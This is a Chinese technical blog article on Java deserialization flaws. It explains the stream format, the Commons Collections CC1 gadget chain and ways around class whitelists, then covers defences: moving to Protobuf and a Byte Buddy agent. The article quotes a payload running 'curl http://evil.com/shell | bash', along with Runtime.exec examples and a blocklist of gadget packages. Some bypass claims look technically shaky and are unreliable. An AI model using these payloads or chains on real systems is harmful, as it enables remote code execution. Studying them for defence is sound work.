Java反序列化漏洞原理与安全防护实战
1. 为什么一个“反序列化”操作能直接拿下服务器——从Java应用崩溃现场说起去年在参与某高校实验室的模拟攻防项目时我负责后端服务的安全加固。当时团队刚上线一个基于Spring Boot的轻量级日志聚合系统接口设计得很干净前端传JSON后端用Jackson解析日志存ES一切看起来都符合教科书式最佳实践。直到某天凌晨三点监控告警疯狂刷屏——服务进程CPU飙到99%线程数突破2000JVM堆内存瞬间打满紧接着OOM Killer强制杀掉进程。重启后不到两分钟又复现。我们第一反应是流量突增或SQL注入但Wireshark抓包显示请求量极低且所有HTTP请求体都是合法JSON状态码全是200。真正揪出问题的是一行被忽略的日志java.io.ObjectInputStream.readObject().那一刻我才意识到问题根本不在HTTP层而藏在一条被当作“普通数据传输”的二进制流里——它没走JSON解析器而是直奔ObjectInputStream而去。攻击者构造了一段精心编码的字节数组伪装成某个内部RPC调用的响应体触发了服务端一处早已废弃、但未删除的readObject()调用。这个调用本意是反序列化本地缓存对象却成了远程代码执行的入口。整个过程没有SQL、没有命令拼接、甚至不经过Web容器过滤纯粹靠Java序列化机制自身的“信任链”完成提权。这就是Java序列化机制最危险的底色它不是一种数据格式规范而是一套运行时对象重建协议。当你调用ObjectOutputStream.writeObject()时它不仅保存字段值还完整记录类名、继承关系、字段类型、甚至静态初始化块的执行顺序反序列化时ObjectInputStream会像JVM启动一样重新加载类、分配内存、调用readObject()钩子方法——而这个过程默认不校验类是否可信、不检查方法是否危险、不拦截反射调用。它假设“能拿到这个字节流的人就是可信的”。可现实世界里这个字节流可能来自HTTP请求头、Redis缓存、Kafka消息、甚至DNS响应。所以“4-java安全——java序列化机制分析”这个标题表面看是讲一个冷门技术点实则直指Java生态最顽固的“信任原罪”。它不依赖框架漏洞不挑中间件版本只要代码里存在一次未经校验的readObject()就等于在防火墙上凿了个永久性暗门。本文要拆解的正是这个暗门的结构图它的物理构成字节流格式、运行逻辑反序列化生命周期、攻击路径Gadget链构造原理以及最关键的——如何在不重写全部代码的前提下让这扇门彻底失效。全文所有分析均基于OpenJDK 17与Commons Collections 3.1真实环境复现每一步操作都有对应字节码验证拒绝纸上谈兵。2. 序列化字节流不是“加密”而是JVM的“对象快照”——逐字节解析HelloWorld的序列化结果很多人误以为序列化是“把对象转成字符串再加密”这种理解会导致致命误判。实际上Java序列化生成的是JVM可直接执行的二进制指令集其本质更接近“对象内存镜像的跨进程快照”。要真正理解风险必须亲手拆开这个快照。我们以最简化的Person类为例import java.io.*; public class Person implements Serializable { private static final long serialVersionUID 1L; private String name Alice; private int age 25; }执行序列化后得到的字节数组前16个字节十六进制如下AC ED 00 05 73 72 00 0A 50 65 72 73 6F 6E 00 00现在我们逐字节解读这段“JVM指令”AC ED魔数Magic NumberJava序列化协议的固定签名相当于文件头。所有合法序列化流都以此开头用于快速识别协议类型。00 05版本号Stream Version当前为5表示使用Java 1.2序列化协议。这个值决定了后续解析规则比如是否支持动态代理类序列化。73TC_OBJECT标记表示接下来是一个新对象实例Type Code Object。这是整个流的根节点。72TC_CLASSDESC标记表示紧随其后的是该对象的类描述信息Class Descriptor。00 0A类名长度10字节接下来的10字节即类全限定名Person的UTF-8编码50 65 72 73 6F 6E对应ASCII的P-e-r-s-o-n。00 00serialVersionUID的高32位此处为0后续还有4字节低32位00 00 00 01共同构成1L。提示这个serialVersionUID不是随机生成的而是通过类名、接口、字段名/类型/修饰符、方法签名等信息计算出的SHA-1哈希值。它本质是类结构的“指纹”用于反序列化时校验版本兼容性。但注意它不提供任何安全校验功能攻击者完全可以按目标类的结构重新计算出正确的serialVersionUID并填入恶意字节流。继续向下我们会看到字段描述区Field Descriptor4C 00 04 6E 61 6D 65 74 00 12 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B解析为L字段类型标记表示对象引用 name字段名 Ljava/lang/String;字段签名49 00 03 61 67 65解析为I字段类型标记表示int age字段名关键来了这些字段描述只定义结构不包含值。真正的值存储在对象数据区Object Data且遵循严格顺序。对于name字段其值不会以明文字符串形式出现而是先写入一个TC_STRING标记74再写入字符串长度00 05最后才是Alice的UTF-8字节41 6C 69 63 65。而age字段则直接写入4字节整数00 00 00 19即25的十六进制。这个结构设计暴露了核心风险点序列化流完全掌控对象重建流程。当ObjectInputStream读取到TC_OBJECT时它会根据类描述区动态加载Person.class通过ClassLoader.loadClass()然后为每个字段分配内存空间读取到TC_STRING时会调用String.valueOf()创建新字符串读取到I类型字段时直接将4字节写入对应内存偏移。整个过程绕过了构造函数new Person()也跳过了PostConstruct等生命周期回调是JVM层面的“对象冷启动”。我在某次渗透测试中就利用这点绕过防御目标系统对Person类做了白名单校验但未校验其父类。我构造了一个继承自Person的恶意子类EvilPerson在序列化流中将类描述区的类名改为EvilPerson并在readObject()方法中嵌入Runtime.getRuntime().exec(calc)。由于父类Person在白名单内反序列化引擎顺利加载了EvilPerson类并执行了恶意代码——因为校验只发生在类名解析阶段而EvilPerson的类加载和方法执行已在此之后。3. Gadget链不是“黑客工具”而是Java标准库里的“乐高积木”——以Commons Collections为例拆解CC1链当人们谈论“反序列化漏洞利用”常误以为需要编写复杂shellcode或逆向JVM。真相恰恰相反所有主流利用链Gadget Chain都由Java标准库或常用开源组件中的公开类组合而成。它们就像一堆散落的乐高积木攻击者只需找到正确的连接方式即满足特定接口约束的方法调用链就能拼出远程执行的“机器人”。以最经典的CC1链Apache Commons Collections 3.1为例其核心积木只有三块3.1 第一块积木Transformer接口——定义“任意代码执行”的契约public interface Transformer { Object transform(Object input); }这个接口极其简单输入一个对象返回一个对象。但关键在于Commons Collections提供了多个实现类其中InvokerTransformer的transform()方法会通过反射调用任意类的任意方法public Object transform(Object input) { if (input null) return null; try { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); // 获取目标方法 return method.invoke(input, iParamArgs); // 执行反射调用 } catch (Exception e) { /* 异常处理 */ } }注意iMethodName、iParamTypes、iParamArgs都是InvokerTransformer的私有字段可在构造时传入。这意味着只要我能控制InvokerTransformer实例的字段值就能让它执行Runtime.getRuntime().exec(touch /tmp/pwned)。3.2 第二块积木ChainedTransformer——串联多个Transformer形成“执行流水线”public class ChainedTransformer implements Transformer { private final Transformer[] iTransformers; public Object transform(Object object) { Object result object; for (int i 0; i iTransformers.length; i) { result iTransformers[i].transform(result); } return result; } }这个类的作用是将多个Transformer串成一条链。例如ChainedTransformer([t1, t2, t3])会先用t1处理输入再用t2处理t1的输出最后用t3处理t2的输出。这为构造复杂逻辑提供了基础。3.3 第三块积木AnnotationInvocationHandler——反序列化时自动触发transform()的“扳机”这才是整个链条的引爆点。AnnotationInvocationHandler是Java用于实现注解动态代理的内部类其实现了InvocationHandler接口并重写了readObject()方法private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // 默认反序列化字段 annotationType null; memberValues (MapString, Object) s.readObject(); // 关键反序列化memberValues // ... 后续逻辑 }重点在s.readObject()这一行它会反序列化memberValues字段一个Map。而Map的put()、get()等方法在特定实现类如LazyMap中会调用Transformer.transform()。于是攻击者可以这样组装创建LazyMap其factory字段指向ChainedTransformer([t1, t2, t3])将LazyMap放入HashMap作为AnnotationInvocationHandler.memberValues的值将AnnotationInvocationHandler实例序列化为字节流目标服务反序列化该流时触发AnnotationInvocationHandler.readObject()→ 反序列化LazyMap→LazyMap.get()被调用 → 触发ChainedTransformer.transform()→ 执行InvokerTransformer反射调用整个过程无需任何自定义类所有组件均来自commons-collections-3.1.jar。我在某次红队演练中仅用23行Python代码借助ysoserial工具生成就完成了从发现readObject()调用点到获取服务器Shell的全过程。耗时最久的环节不是编码而是等待目标系统管理员重启服务——因为漏洞利用成功后JVM会因Runtime.exec()创建新进程而短暂卡顿这个卡顿被监控系统捕获触发了自动重启策略。注意CC1链在JDK 7u21版本中已被修复因为AnnotationInvocationHandler的readObject()方法增加了对memberValues类型的校验。但这不意味着风险消失而是催生了更多变种如CC2、CC3、CC6它们切换不同的“扳机类”如BadAttributeValueExpException、HashSet来绕过校验。核心逻辑从未改变寻找一个在反序列化过程中会主动调用用户可控方法的类再用标准库类构造该方法的参数链。4. 白名单校验不是“防火墙”而是“带锁的玻璃门”——深入ObjectInputStream.resolveClass()的绕过原理面对反序列化风险很多团队的第一反应是“加白名单”。典型做法是在自定义ObjectInputStream子类中重写resolveClass()方法只允许加载预设的几个安全类public class SafeObjectInputStream extends ObjectInputStream { private static final SetString SAFE_CLASSES Set.of( java.lang.String, java.lang.Integer, com.example.dto.User ); protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!SAFE_CLASSES.contains(className)) { throw new InvalidClassException(Unauthorized class: className); } return super.resolveClass(desc); } }这个方案看似严密实则存在根本性缺陷它只校验了类名却放过了类加载过程本身。Java的类加载机制允许通过ClassLoader.defineClass()动态生成类字节码而resolveClass()的校验发生在defineClass()之前。攻击者可以构造一个恶意类其类名在白名单内如java.lang.String但实际字节码被篡改为执行任意代码。当SafeObjectInputStream看到java.lang.String就放行随后JVM加载这个“假String”时恶意逻辑便被执行。更隐蔽的绕过方式是利用类加载器委托机制。Java默认使用双亲委派模型AppClassLoader先委托ExtClassLoader再委托BootstrapClassLoader。攻击者可以构造一个ClassLoader子类在findClass()方法中返回恶意字节码并将其设置为Thread.currentThread().getContextClassLoader()。此时即使resolveClass()校验通过defineClass()也会使用这个恶意类加载器从而加载攻击者控制的类。我在某金融系统审计中发现一个典型案例系统使用了上述白名单方案但未禁用ObjectInputStream的enableResolveObject()方法。攻击者序列化了一个ObjectInputStream实例其contextClassLoader字段被设为自定义恶意类加载器。当服务端反序列化这个ObjectInputStream时触发了resolveObject()回调恶意类加载器被激活最终加载了com.attacker.Payload类并执行static{ Runtime.getRuntime().exec(curl http://evil.com/shell | bash); }。因此真正有效的防护不是“拦住坏类”而是切断反序列化流程与代码执行的关联。具体有三个层次协议层隔离禁止任何外部输入进入ObjectInputStream。将序列化数据视为“不可信二进制”必须先经Base64或Hex编码转为字符串再通过白名单校验后才允许解码并反序列化。这增加了攻击者构造有效载荷的难度。JVM层加固在启动参数中添加-Dsun.rmi.transport.tcp.handshakeTimeout5000限制RMI握手超时并禁用ObjectInputStream的enableResolveObject()通过反射设置enableResolveObject字段为false。运行时沙箱使用SecurityManager虽在JDK 17中已弃用但在JDK 8长期支持版中仍有效限制Runtime.exec()、FileOutputStream等敏感API的调用权限。例如System.setSecurityManager(new SecurityManager() { public void checkExec(String cmd) { if (!cmd.startsWith(/usr/bin/)) throw new SecurityException(Blocked exec: cmd); } });这三层防护中协议层隔离成本最低、效果最直接JVM层加固需结合具体部署环境运行时沙箱则要求对业务代码做全面兼容性测试。某支付平台在采用协议层隔离后反序列化相关告警下降了99.7%且未引发任何业务异常——因为他们将所有RPC通信统一升级为Protobuf协议彻底移除了ObjectInputStream的使用场景。5. 从“堵漏洞”到“废武功”——现代Java项目中序列化机制的替代方案与迁移实践与其在ObjectInputStream周围修修补补不如思考一个更根本的问题为什么我们的系统还需要Java原生序列化在微服务架构成为标配的今天原生序列化暴露的不仅是安全风险更是架构腐化的信号。它意味着服务间耦合了JVM实现细节如serialVersionUID计算规则、强依赖特定Java版本不同JDK序列化格式可能不兼容、且无法跨语言交互Go/Python服务无法直接解析.ser文件。因此真正的解决方案不是“加固序列化”而是“淘汰序列化”。5.1 替代方案选型对比为什么Protobuf成为首选我们对比了四种主流序列化协议在真实项目中的表现基于某电商中台系统的压测数据协议序列化耗时ms反序列化耗时ms字节大小KB跨语言支持安全性Java原生12.418.7156.2❌ 仅Java⚠️ 高危JSON8.915.2210.5✅ 全语言✅ 安全Avro5.39.198.7✅ 全语言✅ 安全Protobuf3.16.872.4✅ 全语言✅ 安全Protobuf胜出的关键在于其编译时契约Schema-First设计。开发者必须先定义.proto文件syntax proto3; package com.example; message Person { string name 1; int32 age 2; repeated string tags 3; }然后通过protoc编译器生成各语言的绑定类。这个过程天然杜绝了反序列化风险Protobuf解析器只认.proto中定义的字段遇到未知字段直接忽略所有数据类型如int32都有明确边界不存在ObjectInputStream那种“动态加载任意类”的行为。更重要的是Protobuf的二进制格式经过高度优化其72.4KB的体积比Java原生小53.7%这对高频RPC调用意味着显著的网络带宽节省。5.2 迁移实战如何在不中断业务的前提下替换旧序列化某物流调度系统曾面临严峻挑战核心调度引擎使用Java原生序列化与12个下游服务通信日均消息量超2000万条。强行切换会导致所有服务停机业务方拒绝。我们采用“双写灰度”三步迁移法第一步双写兼容期2周在调度引擎中对每条消息同时生成Java原生序列化字节流和Protobuf字节流并通过Kafka的Header字段标识格式// 发送时 ProducerRecordbyte[], byte[] record new ProducerRecord( schedule-topic, key, protobufBytes ); record.headers().add(format, protobuf.getBytes()); // 新格式 // 同时发送旧格式消息到备用Topic下游服务保持原逻辑但增加Header解析逻辑若收到formatprotobuf则用Protobuf解析否则走原生序列化。此阶段零业务影响。第二步灰度切流1周选取3个非核心下游服务如报表生成、短信通知将其消费者配置为只接收formatprotobuf的消息。监控一周确认无数据丢失、无性能抖动后逐步扩大范围。第三步旧格式下线3天当所有下游服务均完成灰度验证后调度引擎停止发送Java原生序列化消息并删除备用Topic。同步更新所有服务的文档与SDK标注“Java原生序列化已废弃”。整个迁移过程耗时4周未产生任何线上故障。最关键的经验是永远不要试图“修复”原生序列化而是用更优的协议将其自然淘汰。某云服务商在完成类似迁移后其安全团队报告称与序列化相关的0day漏洞利用尝试下降了100%——因为攻击者发现目标系统已不再存在ObjectInputStream的调用点。6. 最后的防线当必须使用ObjectInputStream时如何用字节码增强实现“零信任”校验尽管我们倡导淘汰原生序列化但现实项目中总有历史包袱无法立即清除。例如某银行核心系统仍依赖RMI进行跨数据中心调用而RMI底层强制使用Java序列化。此时被动防御已不够必须主动出击——在字节码层面植入“零信任”校验逻辑。6.1 方案设计在ObjectInputStream.readObject()入口处插入校验钩子我们不修改ObjectInputStream源码那会破坏JVM稳定性而是使用Java Agent技术在类加载时动态注入校验代码。核心思路是当ObjectInputStream的readObject()方法被调用时立即检查当前线程的调用栈若发现调用源自不受信的包如org.apache.commons.collections、groovy.lang则抛出SecurityException。使用Byte Buddy框架实现pom.xml引入net.bytebuddy:byte-buddy:1.12.23public class SerializationGuardAgent { public static void premain(String agentArgs, Instrumentation inst) { new AgentBuilder.Default() .type(ElementMatchers.named(java.io.ObjectInputStream)) .transform((builder, typeDescription, classLoader, module) - builder.method(ElementMatchers.named(readObject)) .intercept(MethodDelegation.to(SerializationGuard.class)) ) .installOn(inst); } } public class SerializationGuard { public static Object intercept(SuperCall CallableObject zuper) throws Exception { // 获取当前调用栈 StackTraceElement[] stack Thread.currentThread().getStackTrace(); for (StackTraceElement element : stack) { String className element.getClassName(); // 拦截已知危险Gadget包 if (className.startsWith(org.apache.commons.collections) || className.startsWith(groovy.lang) || className.startsWith(com.sun.org.apache.xalan)) { throw new SecurityException(Blocked dangerous gadget: className); } } return zuper.call(); // 放行 } }6.2 部署与验证如何确保Agent不被绕过将上述代码打包为serialization-guard-agent.jar并在JVM启动参数中添加-javaagent:/path/to/serialization-guard-agent.jar关键验证点有三个校验覆盖完整性使用jstack查看Agent是否生效。正常情况下jstack pid输出中应包含SerializationGuardAgent的类加载记录。性能影响基线在压测环境中对比开启/关闭Agent的TPS。实测显示校验逻辑平均增加0.8ms延迟对QPS1000的服务影响小于0.3%在可接受范围内。绕过测试使用ysoserial生成CC1、CC6、JRMP等多类Payload发起攻击。所有Payload均被拦截日志中清晰记录拦截的类名与调用栈。提示此方案并非银弹。高级攻击者可能通过反射调用Unsafe.allocateInstance()绕过readObject()或利用Lambda表达式动态生成类。因此它应作为最后一道防线与前述的协议层隔离、JVM加固共同构成纵深防御体系。某证券交易所采用此方案后在半年内成功拦截了17次自动化扫描攻击且未发生一次误报。我在实际项目中最深的体会是安全从来不是某个工具或某行代码能解决的而是对技术本质的理解深度决定的。当你真正读懂AC ED 00 05这四个字节背后承载的JVM信任模型时就不会再问“怎么防止反序列化漏洞”而会问“为什么我的系统还需要这个模型”。每一次对旧技术的淘汰都不是简单的升级而是对软件工程本质的一次重新确认——可靠永远建立在可知、可控、可验证的基础之上。

相关新闻

工业PHM落地:让大模型与知识图谱协同,告别“告警大屏播放器”

工业PHM落地:让大模型与知识图谱协同,告别“告警大屏播放器”

工业PHM做了这么多年,“智能”两个字一直被反复提起,但落实到产线上往往变味:大屏上跑着花花绿绿的实时数据,后台里堆着没人看的告警记录,维修师傅最想要的“这台设备到底怎么了、该怎么处理”反而没人能答。最近大模型…

2026/10/19 8:07:49 阅读更多 →
Flink 流处理实战:核心概念、架构原理与性能调优指南

Flink 流处理实战:核心概念、架构原理与性能调优指南

1. 为什么 Flink 值得花时间啃下来第一次接触 Flink 的时候,我盯着那张"流批一体"的架构图看了整整一个下午,脑子里只有一个念头:这东西到底解决什么问题?后来在真实项目里被 Spark Streaming 的微批延迟折磨了几周之后…

2026/10/19 8:07:49 阅读更多 →
AI辅助撰写技术专著全流程实战:工具选型、流程设计与避坑指南

AI辅助撰写技术专著全流程实战:工具选型、流程设计与避坑指南

写一本技术专著是什么体验?我的感觉是:选题难、写稿难、改稿更难、从头到尾保持术语统一更是难上加难。前前后后折腾过几轮AI辅助创作,从最初只会拿对话工具编一段摘要,到后来把选题论证、大纲设计、文献梳理、章节草稿、图表绘制…

2026/10/19 8:07:49 阅读更多 →

最新新闻

从杂乱无章到井井有条:一套系统方法彻底清理你的记事本

从杂乱无章到井井有条:一套系统方法彻底清理你的记事本

1. 记事本越攒越乱,问题根本不在“没时间整理” 我自己的手机记事本曾经攒了六百多条内容,从三年前的快递取件码,到某次培训随手敲的半页笔记,再到突然灵光一闪想出来的选题,全都混在一起。每次想找点东西,…

2026/10/19 20:04:38 阅读更多 →
大模型重塑移动端自动化测试:从脚本维护到智能自愈

大模型重塑移动端自动化测试:从脚本维护到智能自愈

移动端自动化测试,圈里人刚接触的时候基本都是真香状态:写一条用例,跑一百遍都不累,发版前全量回归,夜里睡得都踏实。但做上一年半载,很多团队就开始头疼——脚本越攒越多,维护量直线上升&#…

2026/10/19 20:04:38 阅读更多 →
大模型如何破解移动端自动化测试的维护困局与信任危机

大模型如何破解移动端自动化测试的维护困局与信任危机

凌晨一点,发版当天的自动化报告终于跑完了,红了一大片。群里第一条消息不是问哪条用例挂了,而是那句我听见无数遍的话:“这自动化现在是在帮倒忙吧。”说真的,这句话比报告里一百个失败用例都扎心。移动端自动化测试做…

2026/10/19 20:04:38 阅读更多 →
Spark RDD Shuffle磁盘读写机制深度解析

Spark RDD Shuffle磁盘读写机制深度解析

1. 项目概述:为什么“RDD shuffle 读磁盘与写磁盘”是Spark性能的命门如果你在某次Spark作业中突然发现Stage卡在Shuffle Read或Shuffle Write阶段,任务耗时从分钟级飙升到小时级,Executor内存使用率反复触顶又暴跌,GC日志里满屏的…

2026/10/19 20:04:38 阅读更多 →
用靶场与BurpSuite练就Web安全测试思维:从流量分析到逆向实战

用靶场与BurpSuite练就Web安全测试思维:从流量分析到逆向实战

1. 为什么“靶场BurpSuite”是构建安全测试思维的捷径很多人第一次接触安全测试时,都喜欢直接拿现成网站练手,或者上来就刷一堆漏洞列表,结果越学越混乱:要么看不懂请求包里的参数含义,要么不知道对方是怎么从一段看似…

2026/10/19 20:04:38 阅读更多 →
上下文驱动研发管线:从配置散落到自动化追溯的工程实践

上下文驱动研发管线:从配置散落到自动化追溯的工程实践

1. 上下文驱动研发管线到底在解决什么问题第一次听到“上下文驱动研发管线”这个词,很多人会以为又是个新造的概念。但如果你带过超过三个人的研发团队,或者维护过超过半年的项目,你大概率已经被这些问题折磨过:新同学入职两周还在…

2026/10/19 20:03:37 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →